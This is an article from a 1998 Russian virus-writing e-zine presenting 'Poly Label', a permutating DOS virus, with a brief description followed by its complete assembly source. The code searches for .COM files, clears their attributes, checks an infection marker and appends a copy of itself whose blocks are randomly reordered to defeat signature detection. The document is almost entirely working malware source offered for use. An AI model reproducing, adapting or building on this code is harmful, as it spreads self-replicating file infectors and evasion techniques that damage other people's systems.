[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 8, Nov 1998                                           file 009

                              Вирус "Poly Label"
                                                     by RedArc

     Очередное  творение  на  тему  пермутантов.  В  этом  зверьке отсутствует
таблица.  Управление  передается  от  блока  к  блоку по фиксированым адресам.
Получив  управление  блок  анализирует  номер запрошенного блока и если запрос
адресован  не к нему, то отдает управление следующему блоку. Вобщем получилась
обычная  для  ЯВУ событийная модель. Блоки перезаписываются случайным образом,
тем самым вирус отличается от копии к копии.
     Комментарии  не  поскипаны.  Их  просто  никогда  и  не  было. Так что уж
разбирайтесь сами.

=== Cut ===
;Virus "Poly Label" (c) 1998 by RedArc
Model Tiny
.386
.code
org 100h
CouBlock equ 6fh
;***
start:
    pusha
    mov bp,offset EntryPoint
    xchg ax,di
    jmp EntryPoint
;***
        db 100h dup (90h)
    mov ax,4c00h
    int 21h
;***
EntryPoint:
    jmp short @@0_start
;***
@@0:
        db lb0
@@0_start:
    cmp di,0
    jne @@0_end
    mov word ptr ds:[si],9090h
    add si,2
    inc di
    push bp
    ret
lb0 equ $-@@0
;***
@@1:
        db lb1
@@0_end:
    cmp di,1
    jne @@1_end
    mov word ptr ds:[si],9090h
    add si,2
    inc di
    push bp
    ret
lb1 equ $-@@1
;***
@@2:
        db lb2
@@1_end:
    cmp di,2
    jne @@2_end
    mov word ptr ds:[si],9090h
    add si,2
    inc di
    push bp
    ret
lb2 equ $-@@2
;***
@@3:
        db lb3
@@2_end:
    cmp di,3
    jne @@3_end
    mov word ptr ds:[si],9090h
    inc di
    push bp
    ret
lb3 equ $-@@3
;***
@@4:
        db lb4
@@3_end:
    cmp di,4
    jne @@4_end
    mov ah,1ah
    inc di
    push bp
    ret
lb4 equ $-@@4
;***
@@5:
        db lb5
@@4_end:
    cmp di,5
    jne @@5_end
    mov dx,bp
    inc di
    push bp
    ret
lb5 equ $-@@5
;***
@@6:
        db lb6
@@5_end:
    cmp di,6
    jne @@6_end
    add dx,VirLength+BuffLength
    inc di
    push bp
    ret
lb6 equ $-@@6
;***
@@7:
        db lb7
@@6_end:
    cmp di,7
    jne @@7_end
    add dx,TabelleLength
    inc di
    push bp
    ret
lb7 equ $-@@7
;***
@@8:
        db lb8
@@7_end:
    cmp di,8
    jne @@8_end
    int 21h
    inc di
    push bp
    ret
lb8 equ $-@@8
;***
@@9:
        db lb9
@@8_end:
    cmp di,9
    jne @@9_end
    mov ah,4eh
    inc di
    push bp
    ret
lb9 equ $-@@9
;***
@@a:
        db lba
@@9_end:
    cmp di,0ah
    jne @@a_end
    mov dx,bp
    inc di
    push bp
    ret
lba equ $-@@a
;***
@@b:
        db lbb
@@a_end:
    cmp di,0bh
    jne @@b_end
    mov cx,'.*' xor 0adadh
    inc di
    push bp
    ret
lbb equ $-@@b
;***
@@c:
        db lbc
@@b_end:
    cmp di,0ch
    jne @@c_end
    xor cx,0adadh
    inc di
    push bp
    ret
lbc equ $-@@c
;***
@@d:
        db lbd
@@c_end:
    cmp di,0dh
    jne @@d_end
    mov word ptr ds:[bp+VirLength],cx
    inc di
    push bp
    ret
lbd equ $-@@d
;***
@@e:
        db lbe
@@d_end:
    cmp di,0eh
    jne @@e_end
    mov cx,'oc' xor 0adadh
    inc di
    push bp
    ret
lbe equ $-@@e
;***
@@f:
        db lbf
@@e_end:
    cmp di,0fh
    jne @@f_end
    xor cx,0adadh
    inc di
    push bp
    ret
lbf equ $-@@f
;***
@@10:
        db lb10
@@f_end:
    cmp di,10h
    jne @@10_end
    mov word ptr ds:[bp+VirLength+2],cx
    inc di
    push bp
    ret
lb10 equ $-@@10
;***
@@11:
        db lb11
@@10_end:
    cmp di,11h
    jne @@11_end
    mov cx,'m' xor 0adh
    inc di
    push bp
    ret
lb11 equ $-@@11
;***
@@12:
        db lb12
@@11_end:
    cmp di,12h
    jne @@12_end
    xor cx,0adadh
    inc di
    push bp
    ret
lb12 equ $-@@12
;***
@@13:
        db lb13
@@12_end:
    cmp di,13h
    jne @@13_end
    mov word ptr ds:[bp+VirLength+4],cx
    inc di
    push bp
    ret
lb13 equ $-@@13
;***
@@14:
        db lb14
@@13_end:
    cmp di,14h
    jne @@14_end
    xor cx,cx
    inc di
    push bp
    ret
lb14 equ $-@@14
;***
@@15:
        db lb15
@@14_end:
    cmp di,15h
    jne @@15_end
    mov word ptr ds:[bp+VirLength+5],cx
    inc di
    push bp
    ret
lb15 equ $-@@15
;***
@@16:
        db lb16
@@15_end:
    cmp di,16h
    jne @@16_end
    add dx,VirLength
    inc di
    push bp
    ret
lb16 equ $-@@16
;***
@@17:
        db lb17
@@16_end:
    cmp di,17h
    jne @@17_end
    mov cx,0feh
    inc di
    push bp
    ret
lb17 equ $-@@17
;***
@@18:
        db lb18
@@17_end:
    cmp di,18h
    jne @@18_end
    int 21h
    jnb @@18_1
    inc di
    push bp
    ret
@@18_1:
    mov di,1dh
    push bp
    ret
lb18 equ $-@@18
;***
@@19:
        db lb19
@@18_end:
    cmp di,19h
    jne @@19_end
    mov ah,1ah
    inc di
    push bp
    ret
lb19 equ $-@@19
;***
@@1a:
        db lb1a
@@19_end:
    cmp di,1ah
    jne @@1a_end
    mov dx,80h
    inc di
    push bp
    ret
lb1a equ $-@@1a
;***
@@1b:
        db lb1b
@@1a_end:
    cmp di,1bh
    jne @@1b_end
    int 21h
    inc di
    push bp
    ret
lb1b equ $-@@1b
;***
@@1c:
        db lb1c
@@1b_end:
    cmp di,1ch
    jne @@1c_end
    popa
    push si
    ret
lb1c equ $-@@1c
;***
@@1d:
        db lb1d
@@1c_end:
    cmp di,1dh
    jne @@1d_end
    mov ah,2fh
    inc di
    push bp
    ret
lb1d equ $-@@1d
;***
@@1e:
        db lb1e
@@1d_end:
    cmp di,1eh
    jne @@1e_end
    int 21h
    inc di
    push bp
    ret
lb1e equ $-@@1e
;***
@@1f:
        db lb1f
@@1e_end:
    cmp di,1fh
    jne @@1f_end
    mov dx,bx
    inc di
    push bp
    ret
lb1f equ $-@@1f
;***
@@20:
        db lb20
@@1f_end:
    cmp di,20h
    jne @@20_end
    add dx,1eh
    inc di
    push bp
    ret
lb20 equ $-@@20
;***
@@21:
        db lb21
@@20_end:
    cmp di,21h
    jne @@21_end
    mov ax,4301h
    inc di
    push bp
    ret
lb21 equ $-@@21
;***
@@22:
        db lb22
@@21_end:
    cmp di,22h
    jne @@22_end
    xor cx,cx
    inc di
    push bp
    ret
lb22 equ $-@@22
;***
@@23:
        db lb23
@@22_end:
    cmp di,23h
    jne @@23_end
    int 21h
    inc di
    push bp
    ret
lb23 equ $-@@23
;***
@@24:
        db lb24
@@23_end:
    cmp di,24h
    jne @@24_end
    mov ax,3d00h
    inc di
    push bp
    ret
lb24 equ $-@@24
;***
@@25:
        db lb25
@@24_end:
    cmp di,25h
    jne @@25_end
    add ax,2
    inc di
    push bp
    ret
lb25 equ $-@@25
;***
@@26:
        db lb26
@@25_end:
    cmp di,26h
    jne @@26_end
    int 21h
    inc di
    push bp
    ret
lb26 equ $-@@26
;***
@@27:
        db lb27
@@26_end:
    cmp di,27h
    jne @@27_end
    xchg bx,ax
    inc di
    push bp
    ret
lb27 equ $-@@27
;***
@@28:
        db lb28
@@27_end:
    cmp di,28h
    jne @@28_end
    mov ah,3fh
    inc di
    push bp
    ret
lb28 equ $-@@28
;***
@@29:
        db lb29
@@28_end:
    cmp di,29h
    jne @@29_end
    mov dx,bp
    inc di
    push bp
    ret
lb29 equ $-@@29
;***
@@2a:
        db lb2a
@@29_end:
    cmp di,2ah
    jne @@2a_end
    add dx,VirLength+BuffLength
    inc di
    push bp
    ret
lb2a equ $-@@2a
;***
@@2b:
        db lb2b
@@2a_end:
    cmp di,2bh
    jne @@2b_end
    mov cx,8
    inc di
    push bp
    ret
lb2b equ $-@@2b
;***
@@2c:
        db lb2c
@@2b_end:
    cmp di,2ch
    jne @@2c_end
    int 21h
    inc di
    push bp
    ret
lb2c equ $-@@2c
;***
@@2d:
        db lb2d
@@2c_end:
    cmp di,2dh
    jne @@2d_end
    mov al,byte ptr ds:[bp+VirLength+BuffLength]
    inc di
    push bp
    ret
lb2d equ $-@@2d
;***
@@2e:
        db lb2e
@@2d_end:
    cmp di,2eh
    jne @@2e_end
    cmp al,60h
    jz @@2e_1
    mov di,32h
    push bp
    ret
@@2e_1:
    inc di
    push bp
    ret
lb2e equ $-@@2e
;***
@@2f:
        db lb2f
@@2e_end:
    cmp di,2fh
    jne @@2f_end
    mov ah,3eh
    inc di
    push bp
    ret
lb2f equ $-@@2f
;***
@@30:
        db lb30
@@2f_end:
    cmp di,30h
    jne @@30_end
    int 21h
    inc di
    push bp
    ret
lb30 equ $-@@30
;***
@@31:
        db lb31
@@30_end:
    cmp di,31h
    jne @@31_end
    mov ah,4fh
    mov di,18h
    push bp
    ret
lb31 equ $-@@31
;***
@@32:
        db lb32
@@31_end:
    cmp di,32h
    jne @@32_end
    mov ax,4100h
    inc di
    push bp
    ret
lb32 equ $-@@32
;***
@@33:
        db lb33
@@32_end:
    cmp di,33h
    jne @@33_end
    add ax,102h
    inc di
    push bp
    ret
lb33 equ $-@@33
;***
@@34:
        db lb34
@@33_end:
    cmp di,34h
    jne @@34_end
    xor cx,cx
    inc di
    push bp
    ret
lb34 equ $-@@34
;***
@@35:
        db lb35
@@34_end:
    cmp di,35h
    jne @@35_end
    xor dx,dx
    inc di
    push bp
    ret
lb35 equ $-@@35
;***
@@36:
        db lb36
@@35_end:
    cmp di,36h
    jne @@36_end
    int 21h
    inc di
    push bp
    ret
lb36 equ $-@@36
;***
@@37:
        db lb37
@@36_end:
    cmp di,37h
    jne @@37_end
    cmp ax,0ffffh-VirLength-100
    jb @@37_1
    mov di,2fh
    push bp
    ret
@@37_1:
    inc di
    push bp
    ret
lb37 equ $-@@37
;***
@@38:
        db lb38
@@37_end:
    cmp di,38h
    jne @@38_end
    push ax
    mov ah,40h
    inc di
    mov cx,2
    push bp
    ret
lb38 equ $-@@38
;***
@@39:
        db lb39
@@38_end:
    cmp di,39h
    jne @@39_end
    mov dx,bp
    int 21h
    mov ax,word ptr ds:[bp+VirLength+BuffLength]
    inc di
    push bp
    ret
lb39 equ $-@@39
;***
@@3a:
        db lb3a
@@39_end:
    cmp di,3ah
    jne @@3a_end
    xor dx,dx
    inc di
    push di
    mov di,65h
    push bp
    ret
lb3a equ $-@@3a
;***
@@3b:
        db lb3b
@@3a_end:
    cmp di,3bh
    jne @@3b_end
    xchg dx,si
    inc di
    push bp
    ret
lb3b equ $-@@3b
;***
@@3c:
        db lb3c
@@3b_end:
    cmp di,3ch
    jne @@3c_end
    mov word ptr ds:[si+8],ax
    inc di
    push bp
    ret
lb3c equ $-@@3c
;***
@@3d:
        db lb3d
@@3c_end:
    cmp di,3dh
    jne @@3d_end
    mov ax,word ptr ds:[bp+VirLength+BuffLength+2]
    inc di
    push bp
    ret
lb3d equ $-@@3d
;***
@@3e:
        db lb3e
@@3d_end:
    cmp di,3eh
    jne @@3e_end
    mov dx,1
    inc di
    push di
    mov di,65h
    push bp
    ret
lb3e equ $-@@3e
;***
@@3f:
        db lb3f
@@3e_end:
    cmp di,3fh
    jne @@3f_end
    xchg dx,si
    inc di
    push bp
    ret
lb3f equ $-@@3f
;***
@@40:
        db lb40
@@3f_end:
    cmp di,40h
    jne @@40_end
    mov word ptr ds:[si+8],ax
    inc di
    push bp
    ret
lb40 equ $-@@40
;***
@@41:
        db lb41
@@40_end:
    cmp di,41h
    jne @@41_end
    mov ax,word ptr ds:[bp+VirLength+BuffLength+4]
    inc di
    push bp
    ret
lb41 equ $-@@41
;***
@@42:
        db lb42
@@41_end:
    cmp di,42h
    jne @@42_end
    mov dx,2
    inc di
    push di
    mov di,65h
    push bp
    ret
lb42 equ $-@@42
;***
@@43:
        db lb43
@@42_end:
    cmp di,43h
    jne @@43_end
    xchg dx,si
    inc di
    push bp
    ret
lb43 equ $-@@43
;***
@@44:
        db lb44
@@43_end:
    cmp di,44h
    jne @@44_end
    mov word ptr ds:[si+8],ax
    inc di
    push bp
    ret
lb44 equ $-@@44
;***
@@45:
        db lb45
@@44_end:
    cmp di,45h
    jne @@45_end
    mov ax,word ptr ds:[bp+VirLength+BuffLength+6]
    inc di
    push bp
    ret
lb45 equ $-@@45
;***
@@46:
        db lb46
@@45_end:
    cmp di,46h
    jne @@46_end
    mov dx,3
    inc di
    push di
    mov di,65h
    push bp
    ret
lb46 equ $-@@46
;***
@@47:
        db lb47
@@46_end:
    cmp di,47h
    jne @@47_end
    xchg dx,si
    inc di
    push bp
    ret
lb47 equ $-@@47
;***
@@48:
        db lb48
@@47_end:
    cmp di,48h
    jne @@48_end
    mov word ptr ds:[si+8],ax
    inc di
    push bp
    ret
lb48 equ $-@@48
;***
@@49:
        db lb49
@@48_end:
    cmp di,49h
    jne @@49_end
    mov cx,TabelleLength
    push si
    inc di
    push bp
    ret
lb49 equ $-@@49
;***
@@4a:
        db lb4a
@@49_end:
    cmp di,4ah
    jne @@4a_end
    mov si,0
@@4a_1:
    mov byte ptr ds:[bp+VirLength+BuffLength+si],0
    inc si
    loop @@4a_1
    pop si
    inc di
    push bp
    ret
lb4a equ $-@@4a
;***
@@4b:
        db lb4b
@@4a_end:
    cmp di,4bh
    jne @@4b_end
    mov si,0
    inc di
    push bp
    ret
lb4b equ $-@@4b
;***
@@4c:
        db lb4c
@@4b_end:
    cmp di,4ch
    jne @@4c_end
    mov ah,CouBlock+1
    xchg al,ah
RND:
    in al,40h
    cmp al,CouBlock+1
    jnc RND

    inc di
    push bp
    ret
lb4c equ $-@@4c
;***
@@4d:
        db lb4d
@@4c_end:
    cmp di,4dh
    jne @@4d_end
    push si
    mov ah,0
    mov si,ax
    mov ah,byte ptr ds:[bp+VirLength+BuffLength+si]
    pop si
    inc di
    push bp
    ret
lb4d equ $-@@4d
;***
@@4e:
        db lb4e
@@4d_end:
    cmp di,4eh
    jne @@4e_end
    cmp ah,0
    jz @@4e_1
    mov di,4ch
    push bp
    ret
@@4e_1:
    inc di
    push bp
    ret
lb4e equ $-@@4e
;***
@@4f:
        db lb4f
@@4e_end:
    cmp di,4fh
    jne @@4f_end
    push si
    mov ah,0
    mov si,ax
    mov byte ptr ds:[bp+VirLength+BuffLength+si],1
    pop si
    inc si
    inc di
    push bp
    ret
lb4f equ $-@@4f
;***
@@50:
        db lb50
@@4f_end:
    cmp di,50h
    jne @@50_end
    xchg dx,ax
    inc di
    push di
    mov di,65h
    push bp
    ret
lb50 equ $-@@50
;***
@@51:
        db lb51
@@50_end:
    cmp di,51h
    jne @@51_end
    xor cx,cx
    inc di
    push bp
    ret
lb51 equ $-@@51
;***
@@52:
        db lb52
@@51_end:
    cmp di,52h
    jne @@52_end
    push si
    mov si,dx
    mov cl,byte ptr ds:[si]
    pop si
    inc di
    push bp
    ret
lb52 equ $-@@52
;***
@@53:
        db lb53
@@52_end:
    cmp di,53h
    jne @@53_end
    mov ah,40h
    inc di
    push bp
    ret
lb53 equ $-@@53
;***
@@54:
        db lb54
@@53_end:
    cmp di,54h
    jne @@54_end
    int 21h
    inc di
    push bp
    ret
lb54 equ $-@@54
;***
@@55:
        db lb55
@@54_end:
    cmp di,55h
    jne @@55_end
    cmp si,CouBlock+1
    je @@55_1
    mov di,4ch
    push bp
    ret
@@55_1:
    inc di
    push bp
    ret
lb55 equ $-@@55
;***
@@56:
        db lb56
@@55_end:
    cmp di,56h
    jne @@56_end
    mov word ptr ds:[bp+VirLength+BuffLength],0bd60h
    inc di
    push bp
    ret
lb56 equ $-@@56
;***
@@57:
        db lb57
@@56_end:
    cmp di,57h
    jne @@57_end
    pop ax
    push ax
    inc di
    inc ah
    push bp
    ret
lb57 equ $-@@57
;***
@@58:
        db lb58
@@57_end:
    cmp di,58h
    jne @@58_end
    mov word ptr ds:[bp+VirLength+BuffLength+2],ax
    inc di
    push bp
    ret
lb58 equ $-@@58
;***
@@59:
        db lb59
@@58_end:
    cmp di,59h
    jne @@59_end
    mov word ptr ds:[bp+VirLength+BuffLength+4],0e997h
    inc di
    push bp
    ret
lb59 equ $-@@59
;***
@@5a:
        db lb5a
@@59_end:
    cmp di,5ah
    jne @@5a_end
    pop ax
    sub ax,8
    inc di
    push bp
    ret
lb5a equ $-@@5a
;***
@@5b:
        db lb5b
@@5a_end:
    cmp di,5bh
    jne @@5b_end
    mov word ptr ds:[bp+VirLength+BuffLength+6],ax
    inc di
    push bp
    ret
lb5b equ $-@@5b
;***
@@5c:
        db lb5c
@@5b_end:
    cmp di,5ch
    jne @@5c_end
    mov ax,4100h
    inc di
    push bp
    ret
lb5c equ $-@@5c
;***
@@5d:
        db lb5d
@@5c_end:
    cmp di,5dh
    jne @@5d_end
    inc ah
    inc di
    push bp
    ret
lb5d equ $-@@5d
;***
@@5e:
        db lb5e
@@5d_end:
    cmp di,5eh
    jne @@5e_end
    xor cx,cx
    inc di
    push bp
    ret
lb5e equ $-@@5e
;***
@@5f:
        db lb5f
@@5e_end:
    cmp di,5fh
    jne @@5f_end
    xor dx,dx
    inc di
    push bp
    ret
lb5f equ $-@@5f
;***
@@60:
        db lb60
@@5f_end:
    cmp di,60h
    jne @@60_end
    int 21h
    inc di
    push bp
    ret
lb60 equ $-@@60
;***
@@61:
        db lb61
@@60_end:
    cmp di,61h
    jne @@61_end
    mov ah,40h
    mov cx,8
    inc di
    push bp
    ret
lb61 equ $-@@61
;***
@@62:
        db lb62
@@61_end:
    cmp di,62h
    jne @@62_end
    mov dx,bp
    add dx,VirLength+BuffLength
    inc di
    push bp
    ret
lb62 equ $-@@62
;***
@@63:
        db lb63
@@62_end:
    cmp di,63h
    jne @@63_end
    int 21h
    inc di
    push bp
    ret
lb63 equ $-@@63
;***
@@64:
        db lb64
@@63_end:
    cmp di,64h
    jne @@64_end
    mov di,2fh
    push bp
    ret
lb64 equ $-@@64
;***

;*** Поиск блока в сегменте кода ***
;*** Вход: dl - номер блока   Выход: dx - смещение блока или 0ffffh если нет
@@65:
        db lb65
@@64_end:
    cmp di,65h
    jne @@65_end
    push ax bx cx si
    inc di
    push bp
    ret
lb65 equ $-@@65
@@66:
        db lb66
@@65_end:
    cmp di,66h
    jne @@66_end
    mov word ptr ds:[bp+VirLength],0ff83h
    inc di
    push bp
    ret
lb66 equ $-@@66
@@67:
        db lb67
@@66_end:
    cmp di,67h
    jne @@67_end
    mov byte ptr ds:[bp+VirLength+2],dl
    inc di
    push bp
    ret
lb67 equ $-@@67
@@68:
        db lb68
@@67_end:
    cmp di,68h
    jne @@68_end
    mov byte ptr ds:[bp+VirLength+3],075h
    inc di
    push bp
    ret
lb68 equ $-@@68
@@69:
        db lb69
@@68_end:
    cmp di,69h
    jne @@69_end
    mov si,bp
    inc di
    push bp
    ret
lb69 equ $-@@69
@@6a:
        db lb6a
@@69_end:
    cmp di,6ah
    jne @@6a_end
    add si,VirLength
    inc di
    push bp
    ret
lb6a equ $-@@6a
@@6b:
        db lb6b
@@6a_end:
    cmp di,6bh
    jne @@6b_end
    mov bx,4
    inc di
    push bp
    ret
lb6b equ $-@@6b
@@6c:
        db lb6c
@@6b_end:
    cmp di,6ch
    jne @@6c_end
    mov cx,VirLength
    inc di
    push bp
    ret
lb6c equ $-@@6c
@@6d:
        db lb6d
@@6c_end:
    cmp di,6dh
    jne @@6d_end
    cld
    inc di
    push bp
    ret
lb6d equ $-@@6d
@@6e:
        db lb6e
@@6d_end:
    cmp di,6eh
    jne @@6e_end
    mov al,83h
    inc di
    push bp
    ret
lb6e equ $-@@6e
@@6f:
        db lb6f
@@6e_end:
     cmp di,6fh
     jne @@6f_end
     mov di,bp
NextFindChar:
     repne scasb
    je FoundFirstChar
    mov di,0ffffh
    jmp EndFindString
FoundFirstChar:
    push cx di si
    mov cx,bx
    dec di
    repe cmpsb
    je FoundString
    pop si di cx
    jmp NextFindChar
FoundString:
    pop si di
    dec di
    pop cx
EndFindString:
    xchg dx,di
    pop si cx bx ax
    dec dx
    pop di
    push bp
    ret
lb6f equ $-@@6f
db ?
@@6f_end:
;*** Конец подпрограммы поиска блока ***
VirLength equ $-EntryPoint
BuffOfs equ $-EntryPoint
Buff:
     db 5 dup (?)
BuffLength equ $-Buff
TabelleOfs equ $-EntryPoint
Tabelle:
  db 70h dup (?)
TabelleLength equ $-Tabelle
end start
=== Cut ===